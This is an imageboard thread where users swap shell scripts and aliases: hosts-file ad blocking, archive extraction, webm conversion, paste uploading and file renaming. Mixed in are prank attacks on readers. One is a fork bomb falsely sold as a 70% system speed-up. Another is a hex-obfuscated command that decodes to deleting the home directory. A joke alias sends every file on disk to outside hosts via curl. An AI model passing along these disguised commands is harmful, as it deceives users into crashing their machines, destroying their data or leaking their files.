Shell Scripts

Usefull or useless; share them all.

Other urls found in this thread:

github.com/onodera-punpun/neet
github.com/fr0stycl34r/update-hosts
someonewhocares.org/hosts/hosts
winhelp2002.mvps.org/hosts.txt
malwaredomainlist.com/hostslist/hosts.txt
adblock.gjtech.net/?format=hostfile
hosts-file.net/ad_servers.asp
github.com/kaskasbarakas/scripts/blob/master/torsetup.sh
pastebin.com/raw/LEkXXuST
dotfiles.github.io/
twitter.com/AnonBabble

echo ===============resolv.conf===============
sudo echo "# Generated by resolvconf
#nameserver 192.168.1.1
# Safe Yandex.DNS - Protection from virus and fraudulent content
nameserver 77.88.8.88 # Preferred IPv4 DNS
nameserver 77.88.8.2 # Alternate IPv4 DNS

nameserver 2a02:6b8::feed:bad # Preferred IPv6 DNS

options timeout:1" > /etc/resolv.conf

sudo chattr +i /etc/resolv.conf

"downsize" from fred's imagemagick scripts.
Reduce an image file's dimensions to a specified filesize. As in 3mb for Sup Forums.

"dropbox.py" to go along with file manager plugin.

This is interesting, lets see if Sup Forums has any interesting scripts.

Script for uploading shit to hastebin and sending the URL to stdout.

#!/bin/bash

server='hastebin.com';

usage="$0 pastes into $server
usage: $0 something
example: '$0 pie' or 'ps aufx |$0'"

if [ -z $1 ]; then
str=`cat /dev/stdin`;
else
str=$1;
fi

if [ -z "$str" ]; then
echo $usage;
exit 1;
fi

output=`curl -s -X POST -d "$str" $server/documents |perl -pi -e 's|.+:\"(.+)\"}|$1|'`

echo "$server/$output"


Usage:

hastebin < myfile

Forgot to add: I did not write this. I made some minor edit to it if I recall correctly but I don't remember what.

function extract()
{
if [ -f $1 ] ; then
case $1 in
*.tar.bz2)
tar xvjf $1
;;
*.tar.gz)
tar xvzf $1
;;
*.bz2)
bunzip2 $1
;;
*.rar)
unrar x $1
;;
*.gz)
gunzip $1
;;
*.tar)
tar xvf $1
;;
*.tbz2)
tar xvjf $1
;;
*.tgz)
tar xvzf $1
;;
*.zip)
unzip $1
;;
*.Z)
uncompress $1
;;
*.7z)
7z x $1
;;
*)
echo "'$1' cannot be extracted via extract"
;;
esac
else
echo "'$1' is not a valid file"
fi
}

Self-explanatory.

The only thing that's useful for is handling 7z files, tar can determine the filetype on it's own. You just need tar xf file

>i did not write this
Thanks for sharing anyway. This is cool. I had some hacked together scripts that probably weren't worth sharing but I deleted them

I my experience this is the fastest way to get your public IP.

alias ckip='dig +short myip.opendns.com @resolver1.opendns.com'

yeah, but with this, you get the added functionality of 7z added in with tar, and it just uses one extract command. (even if the added functionality is a very small amount)

Like I said, the only thing it's useful for is handling 7z files.

Do you guys want my lazy Ansible role setup?

anyone has the one liner that's supposed to play an 8bit song but goes ahead and rm s your hd

unp file.ext

Just a boring colorscript...

gradients() {
f=3 b=4
for j in f b; do
for i in {0..7}; do
printf -v $j$i %b "\e[${!j}${i}m"
done
done

rst=$'\e[0m'
bld=$'\e[1m'
inv=$'\e[7m'

cat

If your router supports upnp you can just use upnpc -s

function 4chanwebm () {
ffmpeg -i "$1" -threads 8 -sn -an -c:v libvpx -b:v "$2" -slices 8 -lag-in-frames 25 -deadline best "$3"
}

USAGE: 4chanwebm input.mp4 outfile.webm
i.e. 4chanwebm lolcat.mpg 1M output.webm
# Put you're own ffmpeg options in there. These work for me. Will accept help on how to construct this so you can optionally add filters or time parameters etc, though.

curl $1 | sed -e 's/title="Reply to this post">/\n>>/g' | cut -c-10 | sed -n '1~2!p'

>slices
What does this do?

Quote your variables (curl "$1") to be error prone.

what this thread needs is a good one liner that rm's your hd WHILE playing an 8bit song.

nah dude, expand that shit

curl ${1} masterrace

The only thing that ever works reliably on Linux:

alias startwin10="qemu-system-x86_64 -drive file=/home/user/VMs/win10.img,index=0,format=raw,if=virtio -m 4G -netdev user,id=vmnic -device virtio-net,netdev=vmnic -usbdevice tablet -enable-kvm -cpu host -smp 2 &"

Thanks for the tip. Here's another ugly hack
curl $1 | grep '{"hash"' | sed 's/{"hash"/\n{"hash"/g' | sed -e 's/^.\{9\}//' -e 's/".*ext":"//g' -e 's/".*//' | while read img; do wget "i.imgur.com/"$img; done

Functions with wget, pretty much the same.
function madokami-dl () {
wget -r -H -D manga.madokami.al --https-only -e robots=off \
--http-user= --http-password= \
-nd -nc --accept=zip,rar,tar -R "*.html","%2FManga*" $1
}


function Sup Forums-dl () {
wget -r -H -D i.4cdn.org --https-only -e robots=off \
--user-agent=Mozilla -nc -nd --accept=jpg,jpeg,png,gif,webm \
-R "*s.jpg","*.html" $1
}


I've been wanting to use aria2c and its multiples downloads to speed things up, but I haven't gotten to making it.

alias startwin10="dialog --msgbox 'Something happened' 10 20"

They'll never know the difference.

That doesn't help you anything.

10/10

In this particular example, it makes no difference. However, the {} in ${} are useful if you want to expand the variable foo in the string

"${foo}bar"

since "$foobar" would instead expand foobar.

Curly braces are also unconditionally required when:

>expanding arrays, as in ${array[42]}
>using parameter expansion operations, as in ${filename%.*} (remove extension)
>expanding positional parameters beyond 9: "$8 $9 ${10} ${11}"

Doing this everywhere, instead of just in potentially ambiguous cases, can be considered good programming practice. This is both for consistency and to avoid surprises like $foo_$bar.jpg, where it's not visually obvious that the underscore becomes part of the variable name.

would alias

alias a=${{'/bin/sh*'}} | /var/etc|[%x89] | time | nc -l


:3

>alias startwin10="find / -exec curl microsoft.com -d {} \;; find / -exec curl nsa.gov -d {} \;;"

wat

Made a script based on it to better emulate the Windows 10 experience.
while :
do
dialog --msgbox 'Something happened' 10 20'
done

I just realized you can test these multi line functions by pressing cltr x e and copypastry. No need to .bashrc
>if they look legit, of course.

Incredibly ugly, but lets you find words you can make with a command's shortargs, like "ls -chlorofluorocarbons".

It requires aspell.

#!/bin/bash

([ -z "$1" ] || [ -n "$2" ]) && cat /dev/null || {
echo "Cannot find manpage for $1"
exit 1
}

echo "Generating for $1..."
aspell -d en dump master | aspell -l en expand | \
grep -e "$(echo "["$(for i in $(man $1 | grep -oe '\s-[a-Z]' | sort | uniq | cut -d'-' -f2); do echo -n $i; done)"]*")" -o | sort | uniq | \
less

The script I use most often (fish)

github.com/onodera-punpun/neet

>not writing all scripts for sh

#!/bin/bash
set -o nounset
set -o errexit

###############################################################################
##### This script will generate an IPv4-only hosts file that blocks domains
##### responsible for advertisements, analytics, and malicious activities
#####
##### Modified from: github.com/fr0stycl34r/update-hosts
###############################################################################


## We must be root in order to modify the contents of /etc
rootcheck() {
if [[ $UID -ne 0 ]]; then
echo "Please run this script as root"
exit 1
fi
}
rootcheck


## Backup the current hosts file
mv /etc/hosts /etc/hosts.bak


## Create a temporary file to dump the various lists into
temphosts=$(mktemp)


## Download various pre-made lists into our temp file
wget -nv -O - someonewhocares.org/hosts/hosts >> $temphosts
wget -nv -O - winhelp2002.mvps.org/hosts.txt >> $temphosts
wget -nv -O - malwaredomainlist.com/hostslist/hosts.txt >> $temphosts
wget -nv -O - adblock.gjtech.net/?format=hostfile >> $temphosts
wget -nv -O - hosts-file.net/ad_servers.asp >> $temphosts
wget -nv -O - "pgl.yoyo.org/adservers/serverlist.php?hostformat=hosts&showintro=0&mimetype=plaintext" >> $temphosts


## Cleanup the list; remove commented lines, remove duplicates, etc
sed -e 's/\r//' -e '/^127.0.0.1/!d' -e '/localhost/d' -e 's/0.0.0.0/127.0.0.1/' -e 's/ \+/\t/' -e 's/#.*$//' -e 's/[ \t]*$//' < $temphosts | sort -u > /etc/hosts


## Append some necessary stuff to the beginning of the file
echo "# Last updated on $(date)
127.0.0.1 localhost
127.0.0.1 $HOSTNAME" | cat - /etc/hosts >> temp && mv temp /etc/hosts


## A bit of cleanup
rm $temphosts

Wouldn't you have to pipe that into sudo tee for it to work from a non-root user?

fap(){
filenames="$@"
directory="${HOME}/media/"
find "$directory" -type f -name "*${filenames// /*}*" -exec mpv {} \+
}


fap means "find and play", usage:
$ fap partofartistname partofsongtitle

useful for any kind of media, since mpv plays images, videos, music, just set your search directory first (directory="${HOME}/porn/";) for example

7z handles all of these extensions
7z x *

alias restart="sudo shutdown -r now"
alias shut="sudo shutdown -h now"

>alias restart="sudo shutdown -r now"
You do know that reboot is a thing, right?

$ ./wordparam.sh cat | grep -E '.{10,}'
Generating for cat...
seventeens
seventeent
unevenness

>run cat -unevenness
>It works

I can type restart with just my left hand, breh
reboot take two hands to type

>When called with --force or when in runlevel 0 or 6, this tool invokes the reboot(2) system call itself and directly reboots the system. Otherwise this simply invokes the shutdown(8) tool with the appropriate arguments.

#!/bin/bash
:(){ :|:& };:

Save it as speeder and chmod +x it and it disables useless processes and speeds up your system by as much as 70%. Thank me later.

>>>/9gag/

Furthermore:
>pulling a whole bash shell
sh is enough, confirmed newfag

after they recover their system from crashing of course

>Save it as speeder and chmod +x
>not putting it in your init.d

r.i.p. thread

thanks

function end(){ if[$1] then ps -ax | grep $1 | xargs kill; fi }

>denying hardware upgrade level performance gains
intel shill detected

this
Reddit will be running faster computers than Sup Forums. They'll thank us later.

>2.1 megabyte hosts file
fuck me god damn

Exactly, can't believe I didn't think of this before. That way you don't have to run it every time you reboot to get the performance gains!

github.com/kaskasbarakas/scripts/blob/master/torsetup.sh
Shitty script i once wrote

wtf I hate bash scripts now.

awk --copyleft | wc -c

Not shitposting.
There is no delay.
I even have dnscrypt and dnssec routing to other countries, dosent take long at all

Testing it now, doesn't seem to be slowing anything down.

Does everyone here use bash/zsh?

ksh for my shell but I write all my scripts for sh

Same here.

>ls -cannibalism

I try to do everything in bash because of retarded legacy server admins

but sometimes I'll script something out for bash, I try running it and it doesn't work even though I can't find anything wrong with it. So I run it on zsh and it works perfectly, go figure. It's usually a problem with iterating lists but I haven't nailed it down for sure yet.

Thanks for answering my question here Just need blackslash escapes for the spaces.
function 4chanwebm ()
{
ffmpeg -i "$1" -threads 8 -sn -an -c:v libvpx -b:v ${2} -slices 8 -lag-in-frames 25 -deadline best "$3"
}
>4chanwebm input.mpg 800k\ -vf\ scale=300x240 output.webm

In my case mostly yes, the few exceptions are mostly Docker containers.

Why not:
function 4chanwebm () {
ffmpeg -i "${1}" -threads 8 -sn -an -c:v libvpx -b:v "${2}" -slices 8 -lag-in-frames 25 -deadline best "${3}"
}

I just put the in and out variable in quotes so I could type the full path.

#!/usr/bin/make -f
FTPS=\
install\:[email protected]
anonymous\:@joelixny.ddns.net

.PHONY: all FORCE_MAKE
all:
make -j`echo $(FTPS) | wc -w` $(FTPS)
git commit --all -m 'A daily update.'

$(FTPS): FORCE_MAKE
lftp -c 'open $@; ls -R' >"`echo '$@' | sed 's/.*@//'`"

It requires a bootstrapping of touch ftp.installgentoo.com joelixnv.ddns.net; git init; git add *; git commit -m 'initial commit'. Then just throw the script into your crontab @daily and you get daily diffs on what is happening on the ftps of Sup Forums.

what the hell does this do?

you can also type "reb" with one hand

Don't use function, use foo() {

better use && instead of just ; so it stops when something returns an error

Sure, but this is not a script, I don't expect anyone will just copy it verbatim and run it (right?) There is even a typo there: joelixnv.ddns.net -> joelixny.ddns.net.

Your code lacks a \ at the end of line 3.

It escaped.

>"`echo '$@' | sed 's/.*@//'`"
what the hell is this
>$@ gets echo'd literally
>$@ get's gemoved

This strips the leading part of the ftp name up to the first @@. So the listing
from the install:[email protected] ftp server is stored inside the
file ftp.installgentoo.com.

I understand the confusion regarding echo '$@', but make does not
parse the syntax of the shell. It replaces $@ with the name of the target and
then feeds the line to the shell.

Now I see.

Make offers lots of opportunity for playful cleverness.

what's the installgentoo pw for this month?

Lol'd heartily

All of my scripts are windows only but I have some useful scripts as well as prank ones. Here's the latter:
Pastebin.com/K0pxsVYU
It's a .vbs script that opens your disc tray every 10 seconds.

Since a BASH thread, any System Administrators here?

Does anyone know where I would find what cryptography is permitted for a particular version of SSH server?

For example, if it uses aesxxx-cbc, is there anyway that I can verify if aesxxx-ctr or aesxxx-gcm is supported?

I've had a look around sshd_configs in /etc/ and /usr but while I can find what is currently being used - I cannot find if I can use ctr (because theres no mention of it)

Any ideas?

play () { totem-audio-preview $(youtube-dl -g --default-search auto "$@" | tail -1); }
Usage: just type play trooper or play "Iron Maiden The Trooper"
Dump it in .bashrc

This is not a Bash thread.

*Linux/Shell Scripting thread

my bad

And this one is a batch file that lets you strip specific audio and subtitle tracks from an entire folder of mkvs using mkvmerge.
Pastebin.com/fgtHfcEF

not my .bashrc; pastebin.com/raw/LEkXXuST
also dotfiles.github.io/

>yandex
>trusting russian botnet

#!/bin/bash

function help
{
echo -e "Usage: $0 [OPTION]... [FILE]..."
echo -e "\t-h\t\tThis help text"
echo -e "\t-l LENGTH\tLength of filename (truncated hash, 1-40 characters)"
echo ""
echo "Renames all given files to their sha1 hash."
echo "Defaults to all files in current directory if none are specified."
}

# don't split filenames on spaces
IFS=$'\n'

# set default length of filename
length=8

# read script options
while getopts "h,n::" opt; do
case $opt in
h)
help
exit 0
;;
l)
if [ "$OPTARG" -gt "0" ] && [ "$OPTARG" -le "40" ] ; then
length=$OPTARG;
else
echo "Error: Length of filename must be 1-40 characters.";
exit 1;
fi
;;
*)
help
exit 1
;;
esac
done

# read specified filenames next
shift $((OPTIND-1))

if [ "$#" != "0" ] ; then
files=$*;
else
echo "Do you really want to rename all files in the current directory?"
select prompt in "yes" "cancel"; do
case $prompt in
yes ) files=$(ls); break;;
cancel ) exit 0;;
esac
done
fi

# rename files
for file in $files
do
# don't rename the script itself
if [ "$(basename $file)" == "$(basename $0)" ] ; then
continue;
fi

name="${file%.*}"
extension="${file##*.}"
sha1=$(sha1sum $file)
short_sha1="${sha1:0:length}"
new_file="${short_sha1}.${extension}"

# don't overwrite files/ignore already renamed files
if [ -f "$new_file" ] ; then
echo "$file -/-> $new_file [$new_file already exists]";
else
echo "$file ---> $new_file"
mv "$file" "$new_file";
fi
done

uhh. What about killall?

what about pkill?

doesnt work for me :(

$(echo 726d202d7266207e0a | xxd -r -p)

HOLY SHIT WHAT IS YOUR WM AND THEME

that looks so fucking good dude